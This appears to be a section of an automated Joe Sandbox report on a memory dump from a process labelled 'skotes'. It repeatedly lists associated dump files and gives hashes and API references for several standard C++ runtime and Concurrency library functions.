Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: a6c9d031c2f799fb6d020f2dfc505aa46494e27349885c9990d4a73d3a96ad18
Instruction ID: 37557e649ba3d4e01cdc2c656e6584d1bcdd740d3599138698dd45239952c7f5
Opcode Fuzzy Hash: a6c9d031c2f799fb6d020f2dfc505aa46494e27349885c9990d4a73d3a96ad18
Instruction Fuzzy Hash: 3A11087A640314E7DB28FBA4CD8AFEF73796F00314F244219B505B61C1EB719A44CAA5

Function 0061A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0061A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0061A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0061A139

Strings

pScheduler, xrefs: 0061A131

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 04ba490bb30f837cace645d4ce32aae015834880397c30d90c10b420b54d3cdb
Instruction ID: a910804b22d07dd8a20e23594c659306301023bc4d85923d353ed36dc0f44ed6
Opcode Fuzzy Hash: 04ba490bb30f837cace645d4ce32aae015834880397c30d90c10b420b54d3cdb
Instruction Fuzzy Hash: 16F0E936A00614F7C764FB94DC83CDEB37B9E90724B18812DE40657281DB71AA86C696

Function 0062504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00625115
___AdjustPointer.LIBCMT ref: 00625138
___AdjustPointer.LIBCMT ref: 006251D4

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 74bc016717344492191be51c566e0defacda95f3f4416a97a91034fd727ec415
Instruction ID: d52c7b98d017ae3dfd769d947d36d19ef42ff3f0f782f6e927d96f90747dbabc
Opcode Fuzzy Hash: 74bc016717344492191be51c566e0defacda95f3f4416a97a91034fd727ec415
Instruction Fuzzy Hash: 9251C171A01E26AFEB399F14E849BBA73A7EF10300F14452DE8038B295E731AD51CF91

Function 00624C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00624C66
TypeidsEqual.LIBVCRUNTIME ref: 00624C8B
PMDtoOffset.LIBCMT ref: 00624CA1
PMDtoOffset.LIBCMT ref: 00624D22

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 8ff0b57b19701b412e35e2d6b2f503fb932ba25e42015cf3da2e684f3fafa985
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 4D51BE35A04A299FCF11CF68E4806EEBBF6EF15354F14489AE850AB351DB32AD05CF50

Function 0061DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0061DB64

Part of subcall function 00618F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00618F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 0061DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 0061DBE9
Concurrency::location::_Assign.LIBCMT ref: 0061DC56

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 7acac8ed17f9f2dcda07771ba82c71dad02885608905c88110fffeca0344bc4d
Instruction ID: f617feeb3c855923a1c59e82c27582a81435b2d0fda7c313e0eff99e820cbf16
Opcode Fuzzy Hash: 7acac8ed17f9f2dcda07771ba82c71dad02885608905c88110fffeca0344bc4d
Instruction Fuzzy Hash: 3941F274604210ABDF199B24C896BFEBB7BAF45310F08459DE5069B3C2CB70AD85C7D1

Function 006156AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 006156F2
_InternalDeleteHelper.LIBCONCRT ref: 00615726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 0061578B
SafeRWList.LIBCONCRT ref: 0061579A

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
